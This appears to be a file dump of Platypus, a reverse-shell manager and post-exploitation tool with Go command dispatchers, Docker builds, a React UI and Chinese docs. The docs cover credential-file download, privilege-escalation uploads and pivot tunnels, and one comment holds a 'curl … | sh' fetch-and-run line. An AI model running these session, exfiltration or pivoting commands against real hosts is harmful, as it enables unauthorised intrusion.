dispatcher.RESTHelp([]string{}) 23 | return 24 | } 25 | 26 | rest := context.CreateRESTfulAPIServer() 27 | go rest.Run(fmt.Sprintf("%s:%d", host, port)) 28 | 29 | log.Info("RESTful HTTP Server running at %s:%d", host, port) 30 | } 31 | 32 | func (dispatcher commandDispatcher) RESTHelp(args []string) { 33 | fmt.Println("Start a RESTful HTTP Server") 34 | fmt.Println("\tREST [HOST] [PORT]") 35 | fmt.Println("\tHOST\tTHe host you want to listen on") 36 | fmt.Println("\tPORT\tTHe port you want to listen on") 37 | } 38 | 39 | func (dispatcher commandDispatcher) RESTDesc(args []string) { 40 | fmt.Println("REST") 41 | fmt.Println("\tStart a RESTful HTTP Server to manager all clients") 42 | } 43 | -------------------------------------------------------------------------------- /assets/config.example.yml: -------------------------------------------------------------------------------- 1 | servers: 2 | - host: "0.0.0.0" 3 | port: 13337 4 | # Platypus is able to use several properties as unique identifier (primirary key) of a single client. 5 | # All available properties are listed below: 6 | # `%i` IP 7 | # `%u` Username 8 | # `%m` MAC address 9 | # `%o` Operating System 10 | # `%t` Income TimeStamp 11 | hashFormat: "%i %u %m %o" 12 | encrypted: true 13 | disable_history: true 14 | public_ip: "" 15 | shell_path: "/bin/bash" 16 | - host: "0.0.0.0" 17 | port: 13338 18 | # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC. 19 | hashFormat: "%i %u %m %o %t" 20 | disable_history: true 21 | public_ip: "" 22 | shell_path: "/bin/bash" 23 | restful: 24 | # Because RESTful DO NOT support any authentication mechanism, 25 | # DO NOT expose the restful server into any external network. 26 | host: "0.0.0.0" 27 | port: 7331 28 | # `enable: true` means starting RESTful Server when Platypus starts. 29 | enable: true 30 | # Termite binary distributor 31 | distributor: 32 | host: "0.0.0.0" 33 | port: 13339 34 | url: "http://127.0.0.1:13339" 35 | # Check new releases from GitHub when starting Platypus 36 | update: true 37 | # Open web browser to view the Web-UI on starting 38 | openBrowser: false -------------------------------------------------------------------------------- /docs/platypus/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "platypus", 3 | "version": "0.0.0", 4 | "private": true, 5 | "scripts": { 6 | "docusaurus": "docusaurus", 7 | "start": "docusaurus start", 8 | "build": "docusaurus build", 9 | "swizzle": "docusaurus swizzle", 10 | "deploy": "docusaurus deploy", 11 | "clear": "docusaurus clear", 12 | "serve": "docusaurus serve", 13 | "write-translations": "docusaurus write-translations", 14 | "write-heading-ids": "docusaurus write-heading-ids", 15 | "typecheck": "tsc" 16 | }, 17 | "dependencies": { 18 | "@docusaurus/core": "3.5.2", 19 | "@docusaurus/preset-classic": "3.5.2", 20 | "@mdx-js/react": "^3.0.0", 21 | "clsx": "^2.0.0", 22 | "prism-react-renderer": "^2.3.0", 23 | "react": "^18.0.0", 24 | "react-dom": "^18.0.0" 25 | }, 26 | "devDependencies": { 27 | "@docusaurus/module-type-aliases": "3.5.2", 28 | "@docusaurus/tsconfig": "3.5.2", 29 | "@docusaurus/types": "3.5.2", 30 | "typescript": "~5.5.2" 31 | }, 32 | "browserslist": { 33 | "production": [ 34 | ">0.5%", 35 | "not dead", 36 | "not op_mini all" 37 | ], 38 | "development": [ 39 | "last 3 chrome version", 40 | "last 3 firefox version", 41 | "last 5 safari version" 42 | ] 43 | }, 44 | "engines": { 45 | "node": ">=18.0" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/upgrade.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | "github.com/WangYihang/Platypus/internal/utils/os" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Upgrade(args []string) { 12 | if len(args) != 1 { 13 | log.Error("Arguments error, use `Help Upgrade` to get more information") 14 | dispatcher.UpgradeHelp([]string{}) 15 | return 16 | } 17 | 18 | connectBackAddr := args[0] 19 | // TODO: Check format: [Dotted Decimal Notation]:[uint16 Port] 20 | 21 | if context.Ctx.Current == nil { 22 | log.Error("The current client is not set, please use `Jump` to set the current client") 23 | return 24 | } 25 | 26 | if context.Ctx.Current.OS != os.Linux { 27 | log.Error("The operating system of the current client is supported, will be supported soon in the next few releases.") 28 | return 29 | } 30 | 31 | context.Ctx.Current.UpgradeToTermite(connectBackAddr) 32 | } 33 | 34 | func (dispatcher commandDispatcher) UpgradeHelp(args []string) { 35 | fmt.Println("Usage of Upgrade") 36 | fmt.Println("\tUpgrade [Connect Back Addr]") 37 | fmt.Println("Example") 38 | fmt.Println("\tUpgrade 1.3.3.7:13337") 39 | } 40 | 41 | func (dispatcher commandDispatcher) UpgradeDesc(args []string) { 42 | fmt.Println("Upgrade") 43 | fmt.Println("\tUpgrade Platypus session to encrypted Termite session") 44 | } 45 | -------------------------------------------------------------------------------- /web/frontend/src/components/LeftItem/index.jsx: -------------------------------------------------------------------------------- 1 | import React, { Component } from 'react' 2 | import axios from 'axios'; 3 | 4 | export default class LeftItem extends Component { 5 | 6 | postData=(leftitem,hasCreate)=>{ 7 | const {getrightlist,getLeftName} = this.props 8 | getLeftName(leftitem) 9 | if (hasCreate){ 10 | console.log("leftitem: ", leftitem) 11 | axios 12 | .get([this.props.rbacUrl, "/role/", leftitem].join("")) 13 | .then((response) => { 14 | getrightlist(response.data.msg) 15 | }) 16 | .catch((error) => { 17 | 18 | // message.error("Cannot connect to API EndPoint: " + error, 5); 19 | }); 20 | } 21 | else{ 22 | axios 23 | .get([this.props.rbacUrl, "/user/", leftitem].join("")) 24 | .then((response) => { 25 | getrightlist(response.data.msg) 26 | }) 27 | .catch((error) => { 28 | 29 | // message.error("Cannot connect to API EndPoint: " + error, 5); 30 | }); 31 | } 32 | 33 | } 34 | 35 | 36 | render() { 37 | 38 | const {leftitem,hasCreate} = this.props 39 | return ( 40 | 41 | 42 | this.postData(leftitem,hasCreate)}/> 43 | 44 | 45 | 46 | ) 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Stage 1: Builder 2 | FROM golang:1.24 AS builder 3 | 4 | # # replace shell with bash so we can source files 5 | RUN rm /bin/sh && ln -s /bin/bash /bin/sh 6 | 7 | # Install necessary golang packages and tools 8 | RUN go env -w GO111MODULE=on 9 | RUN go env -w GOPROXY=https://goproxy.cn,direct 10 | RUN go install github.com/goreleaser/goreleaser/v2@latest 11 | RUN go install github.com/air-verse/air@latest 12 | RUN go install golang.org/x/tools/cmd/goimports@latest 13 | RUN go install github.com/fzipp/gocyclo/cmd/gocyclo@latest 14 | RUN go install github.com/go-critic/go-critic/cmd/gocritic@latest 15 | RUN go install github.com/BurntSushi/toml/cmd/tomlv@latest 16 | 17 | # Installs nvm (Node Version Manager) 18 | RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.2/install.sh | bash 19 | 20 | # Download and install Node.js (you may need to restart the terminal) 21 | RUN source ~/.nvm/nvm.sh \ 22 | && nvm install 22 \ 23 | && nvm alias default 22 \ 24 | && nvm use default \ 25 | && npm install -g yarn 26 | 27 | # Set up the working directory 28 | WORKDIR /app 29 | 30 | # Copy source code 31 | COPY . . 32 | 33 | # Download golang dependencies 34 | RUN /usr/local/go/bin/go mod download 35 | 36 | # Download web dependencies 37 | RUN source ~/.nvm/nvm.sh \ 38 | && cd web/platypus \ 39 | && yarn install \ 40 | && yarn build 41 | 42 | # Build the application 43 | RUN goreleaser build --snapshot --clean --single-target 44 | -------------------------------------------------------------------------------- /docs/platypus/src/pages/index.tsx: -------------------------------------------------------------------------------- 1 | import clsx from 'clsx'; 2 | import Link from '@docusaurus/Link'; 3 | import useDocusaurusContext from '@docusaurus/useDocusaurusContext'; 4 | import Layout from '@theme/Layout'; 5 | import HomepageFeatures from '@site/src/components/HomepageFeatures'; 6 | import Heading from '@theme/Heading'; 7 | 8 | import styles from './index.module.css'; 9 | 10 | function HomepageHeader() { 11 | const {siteConfig} = useDocusaurusContext(); 12 | return ( 13 |
14 |
15 | 16 | {siteConfig.title} 17 | 18 |

{siteConfig.tagline}

19 |
20 | 23 | Docusaurus Tutorial - 5min ⏱️ 24 | 25 |
26 |
27 |
28 | ); 29 | } 30 | 31 | export default function Home(): JSX.Element { 32 | const {siteConfig} = useDocusaurusContext(); 33 | return ( 34 | 37 | 38 |
39 | 40 |
41 |
42 | ); 43 | } 44 | -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/design/Design.md: -------------------------------------------------------------------------------- 1 | ## 管理端 2 | 3 | 1. 认证 4 | 2. 获取服务端信息 5 | * 版本号 6 | * 当前监听的服务 7 | * 每个服务上线的机器 8 | 3. 进入主菜单 9 | * 服务器 10 | * 增删改查 11 | * 客户端 12 | * 删查 13 | * 选择客户端 14 | 4. 进入客户端菜单 15 | * 列信息 16 | * 文件操作 17 | * 上传,下载 18 | * 隧道操作 19 | * 增删查 20 | * 交互式 Shell 21 | 22 | ### 命令 23 | 24 | ``` 25 | ./admin 26 | ``` 27 | 28 | ``` 29 | >> help 30 | >> connect 31 | connect --host 1.3.3.7 --port 7331 32 | >> auth 33 | auth --username admin --password admin 34 | >> run 35 | run --host 192.168.1.1 --port 13337 36 | >> info 37 | info --hash d41d8cd98f00b204e9800998ecf8427e 38 | >> list 39 | list 40 | >> delete 41 | delete --hash d41d8cd98f00b204e9800998ecf8427e 42 | >> select 43 | common 44 | >> info 45 | >> back 46 | >> gather 47 | gather --all 48 | gather --suid 49 | >> download 50 | download --src /etc/passwd --dst ./passwd 51 | >> upload 52 | upload --src ./dirtyc0w.c --dst /tmp/dirtyc0w.c 53 | rsh 54 | >> upgrade 55 | upgrade --host 1.3.3.7 --port 7331 56 | >> pty 57 | termite 58 | >> proxy 59 | proxy --create --type pull --remote-host 192.168.1.1 --remote-port 22 --local-port 1022 60 | proxy --create --type push --local-host 127.0.0.1 --local-port 1080 --remote-port 1090 61 | proxy --create --type dynamic --local-port 1090 62 | proxy --create --type internet --remote-port 1090 63 | proxy --delete --id 1 64 | proxy --list 65 | >> interact 66 | interact --spawn /bin/bash 67 | interact --spawn vim /etc/passwd 68 | >> exit 69 | ``` -------------------------------------------------------------------------------- /internal/utils/network/network.go: -------------------------------------------------------------------------------- 1 | package network 2 | 3 | import ( 4 | "encoding/json" 5 | "io/ioutil" 6 | "net" 7 | "net/http" 8 | ) 9 | 10 | // GatherInterfacesList returns a list of interfaces 11 | func GatherInterfacesList(host string) []string { 12 | // Gather interface info 13 | var interfaces []string 14 | // Add help information of RaaS 15 | // eg: curl http://[IP]:[PORT]/ | sh 16 | if net.ParseIP(host).IsUnspecified() { 17 | // tcpServer.Host is unspecified 18 | // eg: "0.0.0.0", "[::]" 19 | ifaces, _ := net.Interfaces() 20 | for _, i := range ifaces { 21 | addrs, _ := i.Addrs() 22 | for _, addr := range addrs { 23 | switch v := addr.(type) { 24 | case *net.IPNet: 25 | // ipv4 26 | if addr.(*net.IPNet).IP.To4() != nil { 27 | interfaces = append(interfaces, v.IP.String()) 28 | break 29 | } 30 | } 31 | } 32 | } 33 | } else { 34 | interfaces = append(interfaces, host) 35 | } 36 | return interfaces 37 | } 38 | 39 | // IP represents the IP address 40 | type IP struct { 41 | Query string 42 | } 43 | 44 | // GetPublicIP returns the public IP address 45 | func GetPublicIP() (string, error) { 46 | req, err := http.Get("http://ip-api.com/json/") 47 | if err != nil { 48 | return "", err 49 | } 50 | defer req.Body.Close() 51 | 52 | body, err := ioutil.ReadAll(req.Body) 53 | if err != nil { 54 | return "", err 55 | } 56 | 57 | var ip IP 58 | 59 | err = json.Unmarshal(body, &ip) 60 | if err != nil { 61 | return "", err 62 | } 63 | 64 | return ip.Query, nil 65 | } 66 | -------------------------------------------------------------------------------- /internal/utils/reflection/reflection.go: -------------------------------------------------------------------------------- 1 | package reflection 2 | 3 | import ( 4 | "reflect" 5 | ) 6 | 7 | func Invoke(any interface{}, name string, args ...interface{}) { 8 | params := make([]reflect.Value, len(args)) 9 | for i, _ := range args { 10 | params[i] = reflect.ValueOf(args[i]) 11 | } 12 | reflect.ValueOf(any).MethodByName(name).Call(params) 13 | } 14 | 15 | func GetAllMethods(any interface{}) []string { 16 | var methods []string 17 | anyType := reflect.TypeOf(any) 18 | for i := 0; i < anyType.NumMethod(); i++ { 19 | method := anyType.Method(i) 20 | methods = append(methods, method.Name) 21 | } 22 | return methods 23 | } 24 | 25 | func Contains(target interface{}, obj interface{}) bool { 26 | targetValue := reflect.ValueOf(target) 27 | switch reflect.TypeOf(target).Kind() { 28 | case reflect.Slice, reflect.Array: 29 | for i := 0; i < targetValue.Len(); i++ { 30 | if targetValue.Index(i).Interface() == obj { 31 | return true 32 | } 33 | } 34 | case reflect.Map: 35 | if targetValue.MapIndex(reflect.ValueOf(obj)).IsValid() { 36 | return true 37 | } 38 | } 39 | return false 40 | } 41 | 42 | func IContains(target interface{}, obj interface{}) bool { 43 | targetValue := reflect.ValueOf(target) 44 | switch reflect.TypeOf(target).Kind() { 45 | case reflect.Slice, reflect.Array: 46 | for i := 0; i < targetValue.Len(); i++ { 47 | if targetValue.Index(i).Interface() == obj { 48 | return true 49 | } 50 | } 51 | case reflect.Map: 52 | if targetValue.MapIndex(reflect.ValueOf(obj)).IsValid() { 53 | return true 54 | } 55 | } 56 | return false 57 | } 58 | -------------------------------------------------------------------------------- /deployments/Dockerfile: -------------------------------------------------------------------------------- 1 | # Stage 1: Prepare source code 2 | FROM alpine/git as source 3 | WORKDIR /app 4 | COPY .git .git 5 | RUN git checkout . 6 | 7 | # Stage 2: Build frontend 8 | FROM node:14 as frontend 9 | COPY --from=source /app/web /app/web 10 | # Change yarn registry to fit in the networking situation in China 11 | RUN yarn config set registry https://mirrors.cloud.tencent.com/npm/ 12 | RUN cd /app/web/frontend && rm -rf node_modules && yarn install && yarn build 13 | RUN cd /app/web/ttyd && rm -rf node_modules && yarn install && yarn build 14 | 15 | # Stage 3: Build platypus 16 | FROM golang as builder 17 | COPY --from=source /app /app 18 | WORKDIR /app 19 | COPY --from=frontend /app/web/frontend/build /app/web/frontend/build 20 | COPY --from=frontend /app/web/ttyd/dist /app/web/ttyd/dist 21 | RUN apt update 22 | RUN apt install -y go-bindata 23 | RUN go env -w GO111MODULE=on 24 | RUN go env -w GOPROXY=https://goproxy.cn,direct 25 | RUN go build -ldflags="-s -w " -trimpath -o ./build/termite/termite_linux_amd64 ./cmd/termite/main.go 26 | RUN go-bindata -pkg assets -o ./internal/util/assets/assets.go ./assets/config.example.yml ./assets/template/rsh/... ./web/ttyd/dist/... ./web/frontend/build/... ./build/termite/... 27 | RUN go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus ./cmd/platypus/main.go 28 | 29 | # Stage 4: running environment from scratch 30 | FROM ubuntu 31 | LABEL maintainer="Wang Yihang " 32 | COPY --from=builder /app/build/platypus/platypus /app/platypus 33 | WORKDIR /app 34 | RUN apt update 35 | RUN apt install -y tmux upx 36 | RUN echo "setw -g aggressive-resize on" > /root/.tmux.conf 37 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/command.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Command(args []string) { 12 | if len(args) == 0 { 13 | log.Error("Arguments error, use `Help Command` to get more information") 14 | dispatcher.CommandHelp([]string{}) 15 | return 16 | } 17 | 18 | if context.Ctx.Current == nil && context.Ctx.CurrentTermite == nil { 19 | log.Error("Current session is not set, please use `Jump` command to set the interactive Command") 20 | return 21 | } 22 | 23 | if context.Ctx.Current != nil { 24 | command := strings.Join(args, " ") 25 | log.Info("Execute %s on %s", command, context.Ctx.Current.FullDesc()) 26 | 27 | result := context.Ctx.Current.SystemToken(command) 28 | log.Info("Result: %s", result) 29 | return 30 | } 31 | 32 | if context.Ctx.CurrentTermite != nil { 33 | command := strings.Join(args, " ") 34 | log.Info("Execute %s on %s", command, context.Ctx.CurrentTermite.FullDesc()) 35 | 36 | result := context.Ctx.CurrentTermite.System(command) 37 | log.Info("Result: %s", result) 38 | return 39 | } 40 | } 41 | 42 | func (dispatcher commandDispatcher) CommandHelp(args []string) { 43 | fmt.Println("Usage of Command [CMD]") 44 | fmt.Println("\tCommand") 45 | fmt.Println("\tCMD\tThe command that you want to execute on the current session") 46 | } 47 | 48 | func (dispatcher commandDispatcher) CommandDesc(args []string) { 49 | fmt.Println("Command") 50 | fmt.Println("\texecute a command on the current session") 51 | } 52 | -------------------------------------------------------------------------------- /web/frontend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "platypus-frontend", 3 | "version": "0.1.0", 4 | "private": true, 5 | "dependencies": { 6 | "@ant-design/icons": "^4.6.2", 7 | "@babel/plugin-proposal-private-property-in-object": "^7.21.11", 8 | "@testing-library/jest-dom": "^5.11.4", 9 | "@testing-library/react": "^11.1.0", 10 | "@testing-library/user-event": "^12.1.10", 11 | "antd": "^4.15.2", 12 | "axios": "^1.12.0", 13 | "babel-preset-react-app": "^10.0.1", 14 | "browserslist": "^4.16.7", 15 | "filesize": "^6.3.0", 16 | "glob-parent": "^6.0.1", 17 | "moment": "^2.29.4", 18 | "qs": "^6.10.3", 19 | "randomstring": "^1.1.5", 20 | "react": "^17.0.2", 21 | "react-copy-to-clipboard": "^5.0.3", 22 | "react-dom": "^17.0.2", 23 | "react-scripts": "5", 24 | "web-vitals": "^1.0.1", 25 | "websocket": "^1.0.34" 26 | }, 27 | "scripts": { 28 | "start": "NODE_ENV=development react-scripts start", 29 | "build": "react-scripts build", 30 | "dev": "react-scripts dev", 31 | "test": "react-scripts test", 32 | "eject": "react-scripts eject" 33 | }, 34 | "eslintConfig": { 35 | "extends": [ 36 | "react-app", 37 | "react-app/jest" 38 | ] 39 | }, 40 | "browserslist": { 41 | "production": [ 42 | ">0.2%", 43 | "not dead", 44 | "not op_mini all" 45 | ], 46 | "development": [ 47 | "last 1 chrome version", 48 | "last 1 firefox version", 49 | "last 1 safari version" 50 | ] 51 | }, 52 | "devDependencies": { 53 | "yarn-audit-fix": "^10.0.9" 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/alias.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | "github.com/fatih/color" 10 | ) 11 | 12 | func (dispatcher commandDispatcher) Alias(args []string) { 13 | if len(args) != 1 { 14 | log.Error("Arguments error, use `Help Alias` to get more information") 15 | dispatcher.AliasHelp([]string{}) 16 | return 17 | } 18 | 19 | // Ensure the interactive session is set 20 | if context.Ctx.Current == nil && context.Ctx.CurrentTermite == nil { 21 | log.Error("Interactive session is not set, please use `Jump` command to set the interactive Interact") 22 | return 23 | } 24 | 25 | if context.Ctx.Current != nil { 26 | // Alias session 27 | log.Info("Renaming session: %s", context.Ctx.Current.FullDesc()) 28 | context.Ctx.Current.Alias = strings.TrimSpace(args[0]) 29 | readLineInstance.SetPrompt(color.CyanString(context.Ctx.Current.GetPrompt())) 30 | return 31 | } 32 | 33 | if context.Ctx.CurrentTermite != nil { 34 | // Alias session 35 | log.Info("Renaming session: %s", context.Ctx.CurrentTermite.FullDesc()) 36 | context.Ctx.CurrentTermite.Alias = strings.TrimSpace(args[0]) 37 | readLineInstance.SetPrompt(color.CyanString(context.Ctx.CurrentTermite.GetPrompt())) 38 | return 39 | } 40 | 41 | } 42 | 43 | func (dispatcher commandDispatcher) AliasHelp(args []string) { 44 | fmt.Println("Usage of Alias") 45 | fmt.Println("\tAlias") 46 | } 47 | 48 | func (dispatcher commandDispatcher) AliasDesc(args []string) { 49 | fmt.Println("Alias") 50 | fmt.Println("\tAlias the current session with a human-readable name.") 51 | } 52 | -------------------------------------------------------------------------------- /web/frontend/src/components/Banner/ServerCreator/SeverCreator.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import PortSelector from "./PortSelector"; 3 | import InterfaceSelector from "./InterfaceSelector"; 4 | import CreateServerButton from "./CreateServerButton"; 5 | import { Switch } from 'antd'; 6 | 7 | export default class ServerCreator extends React.Component { 8 | render() { 9 | return <> 10 | 14 | 20 | 21 | 32 | ; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /.github/workflows/docker.yaml: -------------------------------------------------------------------------------- 1 | name: worker 2 | 3 | on: 4 | push: 5 | tags: 6 | - 'v*' 7 | 8 | env: 9 | REGISTRY: ghcr.io 10 | IMAGE_NAME: ${{ github.repository }} 11 | 12 | jobs: 13 | docker: 14 | runs-on: ubuntu-latest 15 | 16 | permissions: 17 | contents: read 18 | packages: write 19 | 20 | steps: 21 | - 22 | name: Checkout 23 | uses: actions/checkout@v4 24 | with: 25 | fetch-depth: 0 26 | - 27 | name: Docker meta 28 | id: meta 29 | uses: docker/metadata-action@v3 30 | with: 31 | images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} 32 | tags: | 33 | type=ref,event=branch 34 | type=ref,event=pr 35 | type=semver,pattern=v{{version}} 36 | type=semver,pattern=v{{major}}.{{minor}} 37 | type=sha,prefix=,suffix=,format=short 38 | - 39 | name: Set up QEMU 40 | uses: docker/setup-qemu-action@v3 41 | - 42 | name: Set up Docker Buildx 43 | uses: docker/setup-buildx-action@v3 44 | - 45 | name: Login to Selfhosted Docker Registry 46 | uses: docker/login-action@v3 47 | with: 48 | registry: ${{ env.REGISTRY }} 49 | username: ${{ github.actor }} 50 | password: ${{ secrets.GITHUB_TOKEN }} 51 | - 52 | name: Build and push 53 | uses: docker/build-push-action@v6 54 | with: 55 | context: . 56 | file: Dockerfile 57 | push: true 58 | tags: ${{ steps.meta.outputs.tags }} 59 | labels: ${{ steps.meta.outputs.labels }} 60 | annotations: ${{ steps.meta.outputs.annotations }} 61 | -------------------------------------------------------------------------------- /web/frontend/src/components/Body/ClientsBody.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Divider, Layout } from "antd"; 3 | import Hint from "./Hint/Hint"; 4 | import ClientTable from "./ClientTable/ClientTable"; 5 | import Rbac from "../Rbac"; 6 | 7 | const { Content } = Layout; 8 | 9 | export default class ClientsBody extends React.Component { 10 | render() { 11 | return <> 12 | 13 | {this.props.showRbac ? : 14 | 15 | 20 | 21 | 34 | } 35 | 36 | 37 | ; 38 | } 39 | } 40 | 41 | -------------------------------------------------------------------------------- /web/ttyd/src/components/modal/modal.scss: -------------------------------------------------------------------------------- 1 | .modal { 2 | bottom: 0; 3 | left: 0; 4 | right: 0; 5 | top: 0; 6 | align-items: center; 7 | display: flex; 8 | overflow: hidden; 9 | position: fixed; 10 | z-index: 40; 11 | } 12 | 13 | .modal-background { 14 | bottom: 0; 15 | left: 0; 16 | position: absolute; 17 | right: 0; 18 | top: 0; 19 | background-color: #4a4a4acc; 20 | } 21 | 22 | .modal-content { 23 | margin: 0 20px; 24 | max-height: calc(100vh - 160px); 25 | overflow: auto; 26 | position: relative; 27 | width: 100%; 28 | 29 | .box { 30 | background-color: #fff; 31 | color: #4a4a4a; 32 | display: block; 33 | padding: 1.25rem; 34 | } 35 | 36 | header { 37 | font-weight: bold; 38 | text-align: center; 39 | padding-bottom: 10px; 40 | margin-bottom: 10px; 41 | border-bottom: 1px solid #ddd; 42 | } 43 | 44 | .file-input { 45 | height: .01em; 46 | left: 0; 47 | outline: none; 48 | position: absolute; 49 | top: 0; 50 | width: .01em; 51 | } 52 | 53 | .file-cta { 54 | cursor: pointer; 55 | background-color: #f5f5f5; 56 | color: #6200ee; 57 | outline: none; 58 | align-items: center; 59 | box-shadow: none; 60 | display: inline-flex; 61 | height: 2.25em; 62 | justify-content: flex-start; 63 | line-height: 1.5; 64 | position: relative; 65 | vertical-align: top; 66 | border-color: #dbdbdb; 67 | border-radius: 3px; 68 | font-size: 1em; 69 | font-weight: 500; 70 | padding: calc(.375em - 1px) 1em; 71 | white-space: nowrap; 72 | } 73 | } 74 | 75 | @media print, screen and (min-width: 769px) { 76 | .modal-content { 77 | margin: 0 auto; 78 | max-height: calc(100vh - 40px); 79 | width: 640px; 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Napoleon Container", 3 | "dockerComposeFile": "docker-compose.yaml", 4 | "service": "backend", 5 | "workspaceFolder": "/workspace", 6 | "shutdownAction": "none", 7 | "forwardPorts": [ 8 | // Frontend 9 | 3000, 10 | // Backend 11 | 8080, 12 | // Postgres 13 | "postgres:5432" 14 | ], 15 | "features": { 16 | "ghcr.io/devcontainers/features/node:1": {}, 17 | "ghcr.io/devcontainers/features/git:1": {}, 18 | "ghcr.io/devcontainers/features/github-cli:1": {}, 19 | "ghcr.io/devcontainers/features/go:1": { 20 | "version": "1.22.6" 21 | }, 22 | "ghcr.io/devcontainers/features/python:1": {}, 23 | "ghcr.io/eitsupi/devcontainer-features/jq-likes:2": {}, 24 | "ghcr.io/prulloac/devcontainer-features/pre-commit:1": {}, 25 | "ghcr.io/devcontainers/features/docker-outside-of-docker:1": {}, 26 | "ghcr.io/rocker-org/devcontainer-features/apt-packages:1": { 27 | "packages": "zsh,tmux,locales" 28 | } 29 | }, 30 | "mounts": [ 31 | "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" 32 | ], 33 | "customizations": { 34 | "vscode": { 35 | "extensions": [ 36 | "eamodio.gitlens", 37 | "github.vscode-github-actions", 38 | "golang.go", 39 | "ms-azuretools.vscode-docker", 40 | "ms-edgedevtools.vscode-edge-devtools", 41 | "ms-ossdata.vscode-postgres", 42 | "redhat.vscode-yaml", 43 | "VisualStudioExptTeam.vscodeintellicode" 44 | ] 45 | }, 46 | "settings": { 47 | "editor.tabSize": 4, 48 | "terminal.integrated.defaultProfile.linux": "zsh", 49 | "terminal.integrated.profiles.linux": { 50 | "zsh": { 51 | "path": "zsh" 52 | } 53 | } 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /web/frontend/src/components/Banner/ServerCreator/InterfaceSelector.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Select } from "antd"; 3 | 4 | const { Option } = Select; 5 | 6 | export default class InterfaceSelector extends React.Component { 7 | render() { 8 | let interfaceMenu; 9 | if (this.props.currentServer === null) { 10 | interfaceMenu = ( 11 | 27 | ); 28 | } else { 29 | interfaceMenu = ( 30 | 47 | ); 48 | } 49 | return interfaceMenu; 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /web/frontend/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 13 | 17 | 18 | 27 | React App 28 | 29 | 30 | 31 |
32 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/basic/tunnel.md: -------------------------------------------------------------------------------- 1 | # 隧道 2 | 3 | Termite 提供 4 种隧道模式,分别是: 4 | 5 | * Pull 6 | * Push 7 | * Dynamic 8 | * Internet 9 | 10 | 基本的命令格式为: 11 | 12 | ``` 13 | » Tunnel Create [MODE] [SRC IP] [SRC PORT] [DST IP] [DST PORT] 14 | ``` 15 | 16 | ## Pull 17 | 18 | 顾名思义,`Pull` 即将目标主机网络中的某个端口(`192.168.1.1:80`)**拉**到 Platypus 主机的某个端口(`127.0.0.1:8080`)。 19 | 20 | 本功能类似于 ssh **本地端口转发**,即:*Make Remote Resources Accessible on Your Local System*。 21 | 22 | ``` 23 | » Tunnel Create Pull 192.168.1.1 80 127.0.0.1 8080 24 | ``` 25 | 26 | 此时,访问 Platypus 主机的 `127.0.0.1:8080` 即相当于访问目标主机网络中的 `192.168.1.1:80`。 27 | 28 | ## Push 29 | 30 | 与 `Pull` 功能的类似,将 Platypus 网络中的某个端口**推**到目标主机的某个端口。 31 | 32 | 33 | 本功能类似于 ssh **远程端口转发**,即:*Make Local Resources Accessible on a Remote System*。 34 | 35 | ``` 36 | » Tunnel Create Push 192.168.1.254 1080 127.0.0.1 1090 37 | ``` 38 | 39 | 此时,访问目标主机的 `127.0.0.1:1090` 即相当于访问 Platypus 网络中的 `192.168.1.254:1080`。 40 | 41 | ## Dynamic 42 | 43 | 将目标主机网络通过 socks5 协议转发到 Platypus 主机上的某个端口。主要应用在内网渗透环节需要通过跳板机攻击内网中其他机器的场景。 44 | 45 | 本功能类似于 ssh **动态端口转发**,即:*Use Your Termite Client as a Proxy*。 46 | 47 | !!! Hint 48 | 该功能的本质是在目标主机上开启 socks5 代理,然后将其通过 `Pull` 功能**拉**到本地。 49 | 50 | ``` 51 | » Tunnel Create Dynamic x.x.x.x xxxxx x.x.x.x xxxxx 52 | ``` 53 | 54 | !!! Tips 55 | 上述命令中的 x.x.x.x 和 xxxxx 可以随便填,Platypus 并未使用这两个位置的参数。 56 | 上面这个奇怪的规定只是因为 Platypus 暂时只是简单解析了这 4 种模式的参数,后续会修正该问题。 57 | 58 | 当 socks5 代理创建成功后,在命令行中会输出远程 socks5 端口号与本地 socks5 端口号。 59 | 此时,Platypus 主机只需要挂上本地端口号的代理即可直接访问目标主机的网络进行后续的内网渗透。 60 | 61 | ## Internet 62 | 63 | 将 Platypus 主机所在网络通过 socks5 协议转发到目标服务器的某个端口。 64 | 主要应用在内网渗透环节目标机器无法访问互联网但是又需要在其上下载某些互联网上的资料的时候。 65 | 66 | ``` 67 | » Tunnel Create Internet 127.0.0.1 1090 127.0.0.1 1080 68 | ``` 69 | 70 | !!! Hint 71 | 该功能的本质是在 Platypus 上开启 socks5 代理(`127.0.0.1:1090`),然后将其通过 